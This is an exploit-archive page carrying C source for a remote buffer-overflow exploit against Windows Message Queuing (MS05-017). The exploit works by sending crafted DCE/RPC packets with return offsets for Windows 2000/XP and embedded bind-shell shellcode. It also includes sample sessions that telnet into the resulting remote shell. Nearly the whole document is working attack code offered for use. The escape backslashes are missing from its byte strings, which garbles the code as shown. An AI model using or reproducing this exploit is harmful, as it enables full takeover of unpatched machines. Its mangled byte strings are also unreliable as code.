[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows Message Queuing BoF Universal Exploit (MS05-017) (v.0.3)
# Published : 2005-06-29
# Author : houseofdabus
# Previous Title : Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit
# Next Title : MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)


/* HOD-ms05017-msmq-expl.c: 2005-06-28: PUBLIC v.0.3
 *
 * Copyright (c) 2004-2005 houseofdabus.
 *
 * (MS05-017) Message Queuing Buffer Overflow Vulnerability
 * Universal Exploit
 *
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 *
 * [ http://www.livejournal.com/users/houseofdabus
 * ---------------------------------------------------------------------
 * Systems Affected:
 *    - Windows XP SP1
 *    - Windows 2000 SP4
 *    - Windows 2000 SP3
 *
 * ---------------------------------------------------------------------
 * Description:
 *    A remote code execution vulnerability exists in Message Queuing
 *    that could allow an attacker who successfully exploited this
 *    vulnerability to take complete control of the affected system.
 *
 * ---------------------------------------------------------------------
 * Solution:
 *    http://www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
 *
 * ---------------------------------------------------------------------
 * Tested on:
 *    - Windows XP SP1
 *    - Windows XP SP0
 *    - Windows 2000 PRO SP4
 *    - Windows 2000 PRO SP3
 *    - Windows 2000 Server SP4
 *    - Windows 2000 AdvServer SP4
 *
 * ---------------------------------------------------------------------
 * Compile:
 *
 * Win32/VC++  : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
 * Win32/cygwin: gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
 * Linux       : gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
 *
 * ---------------------------------------------------------------------
 * Example:
 *
 * C:>HOD-ms05017-msmq-expl 192.168.0.1 2103 HOD 7777
 *
 * [*] Connecting to 192.168.0.22:2103 ... OK
 * [*] Attacking...OK
 *
 * C:>telnet 192.168.0.1 7777
 *
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:WINNTsystem32>net stop msmq
 *
 * The Message Queuing service was stopped successfully.
 *
 * C:WINNTsystem32>net start msmq
 * The Message Queuing service is starting..
 * The Message Queuing service was started successfully.
 *
 * C:WINNTsystem32>
 *
 * For some system (Windows 2000 Server/AdvServer):
 *
 * C:>HOD-ms05017-msmq-expl.exe 192.168.0.1 2103 HOD 9999 8
 *
 * [*] Connecting to 192.168.0.210:2103 ... OK
 * [*] Attacking...........OK
 *
 * C:>telnet 192.168.0.1 9999
 *
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 *
 * ---------------------------------------------------------------------
 *
 * This is provided as proof-of-concept code only for educational
 * purposes and testing by authorized individuals with permission
 * to do so.
 *
 */

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif


#define NOP			0x90
#define _DCE_RPC_BIND		0x0B


typedef struct dce_rpc {
	unsigned char	ver;
	unsigned char	ver_minor;
	unsigned char	pkt_type;
	unsigned char	pkt_flags;
	unsigned long	data_repres;
	unsigned short	frag_len;
	unsigned short	auth_len;
	unsigned long	caller_id;
} DCE_RPC, *PDCE_RPC;


typedef struct dce_rpc_bind {
	unsigned short	max_xmit;
	unsigned short	max_recv;
	unsigned long	asc_group;
	unsigned long	num_con_items;
	unsigned short	con_id;
	unsigned short	num_trn_items;
	/* unsigned char	*interface_uuid; */
	/* unsigned short	interface_ver; */
	/* unsigned short	interface_ver_min; */
	/* unsigned char	*uuid; */
	/* unsigned long	syntax_ver; */
} DCE_RPC_BIND, *PDCE_RPC_BIND;



unsigned char dce_rpc_header1[] =
	"x05x00x00x01x10x00x00x00x18x04x00x00x00x00x00x00"
	"x00x04x00x00x00x00x09x00x01x00x00x00x01x00x00x00"
	"x01x00x00x00x03x00x00x00x03x00x00x00x02x00x00x00"
	"xE4x07x00x00x00x00x00x00xE4x07x00x00"
	"x4Fx00x53x00x3Ax00";
	/* ... Remote NetBIOS name */

unsigned char tag_private[] =
	/* PRIVATE$ */
	"x5Cx00"
	"x50x00x52x00x49x00x56x00x41x00x54x00x45x00x24x00"
	"x5Cx00";

unsigned char dce_rpc_header2[] =
	"x05x00x00x00x10x00x00x00x18x04x00x00x00x00x00x00"
	"x00x04x00x00x00x00x09x00";

unsigned char dce_rpc_header3[] =
	"x05x00x00x02x10x00x00x00x04x04x00x00x00x00x00x00"
	"xECx03x00x00x00x00x09x00";


unsigned char offsets[] =
	/* entry point (jmp over) */
	"xEBx08x90x90"
	/* for Windows 2000 */
	/* mqsvc.exe - pop reg; pop reg; retn; */
	"xE9x14x40x00"
	"x90x90x90x90x90x90x90x90"

	/* entry point (jmp over) */
	"xEBx08x90x90"
	/* for Windows 2000 Server/AdvServer */
	/* mqsvc.exe - pop reg; pop reg; retn; */
	"xE9x14x40x00"
	"x90x90xEBx1Ax41x40x68x6Fx75x73x65x6Fx66x64x61x62"
	"x75x73x48x41"
	/* entry point (jmp over) */
	"xEBx06x90x90"
	/* for Windows XP */
	/* mqsvc.exe - pop reg; pop reg; retn; */
	"x4dx12x00x01"
	"x90x90x90x90x90x90";


unsigned char bind_shellcode[] =
	"x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x19"
	"xf5x04x37x83xebxfcxe2xf4xe5x9fxefx7axf1x0cxfbxc8"
	"xe6x95x8fx5bx3dxd1x8fx72x25x7ex78x32x61xf4xebxbc"
	"x56xedx8fx68x39xf4xefx7ex92xc1x8fx36xf7xc4xc4xae"
	"xb5x71xc4x43x1ex34xcex3ax18x37xefxc3x22xa1x20x1f"
	"x6cx10x8fx68x3dxf4xefx51x92xf9x4fxbcx46xe9x05xdc"
	"x1axd9x8fxbex75xd1x18x56xdaxc4xdfx53x92xb6x34xbc"
	"x59xf9x8fx47x05x58x8fx77x11xabx6cxb9x57xfbxe8x67"
	"xe6x23x62x64x7fx9dx37x05x71x82x77x05x46xa1xfbxe7"
	"x71x3exe9xcbx22xa5xfbxe1x46x7cxe1x51x98x18x0cx35"
	"x4cx9fx06xc8xc9x9dxddx3execx58x53xc8xcfxa6x57x64"
	"x4axa6x47x64x5axa6xfbxe7x7fx9dx1ax55x7fxa6x8dxd6"
	"x8cx9dxa0x2dx69x32x53xc8xcfx9fx14x66x4cx0axd4x5f"
	"xbdx58x2axdex4ex0axd2x64x4cx0axd4x5fxfcxbcx82x7e"
	"x4ex0axd2x67x4dxa1x51xc8xc9x66x6cxd0x60x33x7dx60"
	"xe6x23x51xc8xc9x93x6ex53x7fx9dx67x5ax90x10x6ex67"
	"x40xdcxc8xbexfex9fx40xbexfbxc4xc4xc4xb3x0bx46x1a"
	"xe7xb7x28xa4x94x8fx3cx9cxb2x5ex6cx45xe7x46x12xc8"
	"x6cxb1xfbxe1x42xa2x56x66x48xa4x6ex36x48xa4x51x66"
	"xe6x25x6cx9axc0xf0xcax64xe6x23x6exc8xe6xc2xfbxe7"
	"x92xa2xf8xb4xddx91xfbxe1x4bx0axd4x5fxf6x3bxe4x57"
	"x4ax0axd2xc8xc9xf5x04x37";

#define SET_PORTBIND_PORT(buf, port) 
	*(unsigned short *)(((buf)+186)) = (port)


int
hex2raw(unsigned char *s, unsigned char *out)
{
	unsigned long i, len, j = 0;
	unsigned long ret = 0;

	len = strlen(s);
	for (i = 0; i < len; i+=2) {
		if ((s[i] >= 0x30) && (s[i] <= 0x39))
			j = s[i] - 0x30;
		else
			j = s[i] - 0x61 + 10;
		j *= 16;
		if ((s[i+1] >= 0x30) && (s[i+1] <= 0x39))
			j += s[i+1] - 0x30;
		else
			j += s[i+1] - 0x61 + 10;
		out[ret] = (unsigned char)j;
		ret++;
	}

return ret;
}

void
inverse(unsigned char *io, unsigned long len)
{
	unsigned long i;
	unsigned char c;

	for (i = 0; i < len/2; i++) {
		c = io[len-i-1];
		io[len-i-1] = io[i];
		io[i] = c;
	}
}


int
encode_uuid(unsigned char *uuid, unsigned char *out)
{
	unsigned long i, len, ret;
	unsigned cnt = 0, ar = 0;
	unsigned char *ptr;

	ptr = uuid;
	len = strlen(uuid);
	for (i = 0; i < len; i++) {
		if (uuid[i] == '-') {
			uuid[i] = '';
			if (ar < 3) {
				ret = hex2raw(ptr, out);
				inverse(out, ret);
				out += ret; cnt += ret;
			}
			else {
				ret = hex2raw(ptr, out);
				out += ret; cnt += ret;
			}
			ptr = uuid+i+1;
			ar++;
		}
	}
	out[len] = '';

	ret = hex2raw(ptr, out);
	out += ret; cnt += ret;

return cnt;
}

unsigned char *
dce_rpc_bind(
	unsigned long cid,
	unsigned char *uuid,
	unsigned short ver,
	unsigned long *pkt_len)
{
	unsigned char vuid[] = "8a885d04-1ceb-11c9-9fe8-08002b104860";
	unsigned char *pkt, *euuid, *tmp;
	unsigned long cnt;
	unsigned short ret;
	PDCE_RPC_BIND rpc_bind;
	PDCE_RPC rpc;

	pkt = (unsigned char *)calloc(2048, 1);
	euuid = (unsigned char *)calloc(strlen(uuid)/2+2, 1);

	tmp = pkt;
	pkt += sizeof(DCE_RPC);
	rpc_bind = (PDCE_RPC_BIND)pkt;
	rpc_bind->max_xmit	= 0x16D0;
	rpc_bind->max_recv	= 0x16D0;
	rpc_bind->asc_group	= 0;
	rpc_bind->num_con_items	= 1;
	rpc_bind->con_id	= 0;
	rpc_bind->num_trn_items	= 1;

	pkt += sizeof(DCE_RPC_BIND);

	cnt = encode_uuid(uuid, pkt);
	pkt += cnt;
	memcpy(pkt, &ver, sizeof(short));
	pkt += sizeof(short);
	*pkt++ = 0; *pkt++ = 0;
	cnt = encode_uuid(vuid, pkt);
	pkt += cnt;
	*pkt++ = 2; *pkt++ = 0;

	ret = pkt - tmp;
	rpc = (PDCE_RPC)tmp;
	rpc->ver	= 5;
	rpc->ver_minor	= 0;
	rpc->pkt_type	= _DCE_RPC_BIND;
	rpc->pkt_flags	= 3;
	rpc->data_repres = 16;
	rpc->frag_len	= ret + 2;
	rpc->auth_len	= 0;
	rpc->caller_id	= cid;

	*pkt_len = ret + 2;
	free(euuid);

return tmp;
}

void
convert_name(char *out, char *name)
{
	unsigned long len;

	len = strlen(name);
	out += len * 2 - 1;
	while (len--) {
		*out-- = 'x00';
		*out-- = name[len];
	}
}



int
main (int argc, char **argv)
{

	unsigned char endp[] = "fdb3a030-065f-11d1-bb9b-00a024ea5525";
	unsigned char *packet = NULL;
	unsigned short bindport;
	unsigned long cnt;
	struct sockaddr_in addr;
	struct hostent *he;
	int len, cpkt = 1;
	int sockfd;
	char recvbuf[4096];
	char *buff, *ptr;
#ifdef _WIN32  
	WSADATA wsa;  
#endif  


	printf("n      (MS05-017) Message Queuing Buffer Overflow Vulnerabilitynn");
	printf("t     Copyright (c) 2004-2005 .: houseofdabus :.nnn");


	if (argc < 5) {
		printf("%s <host> <port> <netbios name> <bind port> [count]n", argv[0]);
		printf("nMSMQ ports: 2103, 2105, 2107n");
		printf("count - number of packets. for Win2k Server/AdvServer = 6-8nn");
		exit(0);
	}

#ifdef _WIN32  
	WSAStartup(MAKEWORD(2,0), &wsa);  
#endif  

	if ((he = gethostbyname(argv[1])) == NULL) {
		printf("[-] Unable to resolve %sn", argv[1]);
		return 0;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		printf("[-] create socket failedn");
		exit(0);
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons((short)atoi(argv[2]));
	addr.sin_addr = *((struct in_addr *)he->h_addr);  
	memset(&(addr.sin_zero), '', 8);

	printf("n[*] Connecting to %s:%u ... ", argv[1], atoi(argv[2]));
	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		printf("n[-] connect failed!n");
		exit(0);
	}
	printf("OKn");

	packet = dce_rpc_bind(0, endp, 1, &cnt);

	if (send(sockfd, packet, cnt, 0) == -1) {
		printf("[-] send failedn");
		exit(0);
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 0) {
		printf("[-] recv failedn");
		exit(0);
	}
	free(packet);

	printf("[*] Attacking...");

	buff = (char *) malloc(4172);
	memset(buff, NOP, 4172);

	ptr = buff;
	memcpy(ptr, dce_rpc_header1, sizeof(dce_rpc_header1)-1);
	ptr += sizeof(dce_rpc_header1)-1;

	// Remote NetBIOS name
	convert_name(ptr, argv[3]);
	ptr += strlen(argv[3])*2;

	memcpy(ptr, tag_private, sizeof(tag_private)-1);
	ptr += sizeof(tag_private)-1;

	memcpy(buff+1048,   dce_rpc_header2, sizeof(dce_rpc_header2)-1);
	memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
	memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);

	// offsets
	ptr = buff;
	ptr += 438;
	memcpy(ptr, offsets, sizeof(offsets)-1);
	ptr += sizeof(offsets)-1;

	// shellcode
	bindport = (unsigned short)atoi(argv[4]);
	bindport ^= 0x0437;
	SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	buff[4170] = '';
	buff[4171] = '';

	if (argc == 6) cpkt = atoi(argv[5]);

	while (cpkt--) {
		printf(".");
		if (send(sockfd, buff, 4172, 0) == -1) {
			printf("n[-] send failedn");
			exit(0);
		}
	}
	printf(" OKn");


return 0;
}

// www.Syue.com [2005-06-29]